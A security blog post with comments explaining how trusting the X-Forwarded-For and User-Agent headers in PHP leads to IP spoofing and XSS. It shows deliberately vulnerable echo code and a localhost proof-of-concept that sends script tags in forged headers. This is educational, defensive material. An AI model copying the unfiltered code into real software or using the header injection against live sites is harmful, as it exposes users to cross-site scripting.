Faking the unexpected

Developers place too much trust in everything, they assume that certain data cannot be faked and therefore these pieces of data can be used as a Trojan horse. Lets take the REMOTE IP of a user, it seems a trusted source because of the TCP/IP connection between the user and the server but take the following example:-

<?php
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
	$userip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
	$userip = $_SERVER['REMOTE_ADDR'];
}
?> 

Suddenly a piece of assumed “safe” data is placed in the variable. HTTP_X_FORWARDED_FOR is user input, instead of combining both they should be treated separately and HTTP_X_FORWARDED_FOR should never be used as a means to validate the user’s IP. But it gets worse…what if a developer outputs this data? We now have another problem, the attacker can not only fake their IP but the “safe” data becomes a XSS injection point. The following proof of concept highlights this issue:-

<?php
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
	$userip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
	$userip = $_SERVER['REMOTE_ADDR'];
} 
echo "ip:" . $userip . "<br>";
echo "user agent:" . $_SERVER['HTTP_USER_AGENT'] . "<br>";
?>

The attacker then supplies the following information:-

<?php
$fp = fsockopen("127.0.0.1", 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET /ip.php HTTP/1.1\r\n";
    $out .= "Host: 127.0.0.1\r\n";
    $out .= "X-Forwarded-For: <script>alert(/Faking the unexpected/)";
    $out .= "</script>\r\n";	
    $out .= "User-Agent: <script>alert(/Faking the unexpected/)";
    $out .= "</script>\r\n";
    $out .= "Connection: Close\r\n\r\n";

    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

Which results in XSS on the domain. So my question is, do you have a sick feeling in your stomach now? Or have you got a smug feeling that you ALWAYS filter user-agent, X-Forwarded-For and any other user supplied data?

10 Responses to “Faking the unexpected”

  1. kourge writes:

    Clever! This can almost certainly attack sites that display the user’s user agent such…

  2. Awesome AnDrEw writes:

    I choose the latter option, and sanitize all user-input and headers.

  3. Andrew MacFie writes:

    I think accepting ‘HTTP_X_FORWARDED_FOR’ or ‘REMOTE_ADDR’ values as ultimately correct identifiers for end users is clearly a different problem than failing to perform output validation on user-supplied data. ‘HTTP_X_FORWARDED_FOR’ and other HTTP headers are of course trivial to spoof, and there is irony in the perceived extra level of security that checking for proxied users appears to provide. If this information is really required, the developer might want to have a look at some Metasploit Project research (hxxp://metasploit.com/research/misc/decloak/).

    Outputting unfiltered user input is always bad, as shown, but trusting HTTP headers as always legitimate values is far too tempting and a more commonly overlooked source of vulnerability than, say, query strings.

  4. Skip Chris writes:

    In my limited ‘developer’ way, rather than as a webappsec professional, this is one of those things I see all the time, the key culprit being _SERVER['PHP_SELF']… :S

    Another common one (though a bit more obvious and less related to this post) is something along the lines of:
    http://www.example.org/controller/action
    —>
    <form action=”<? echo $action; ?>”>

  5. Gareth Heyes writes:

    @Awesome AnDrEw

    You must be feeling smug right now :)

    I wonder how many feel sick :)

  6. Jack writes:

    Hello,

    This article is very good, but gives no viable alternative. Why ?

    Jack

  7. Gareth Heyes writes:

    @Jack

    You need to filter all user supplied data including User-agent etc and I have mentioned many times before how to do this. The article was to highlight the amount of times I’ve seen PHP code with just $userip = $_SERVER['HTTP_X_FORWARDED_FOR']; and blindly trusting it.

  8. zhaiduo writes:

    yep, you are right!

  9. Handy writes:

    Nice example. Stefan Esser describes this problem very good in his book about PHP security. By the way, he is the guy, who worked in the PHP Security Response Team.

  10. Gareth Heyes writes:

    Yeah Stefan rocks :)
    He has a book? Is it in English? I’d be interested if you could provide a link.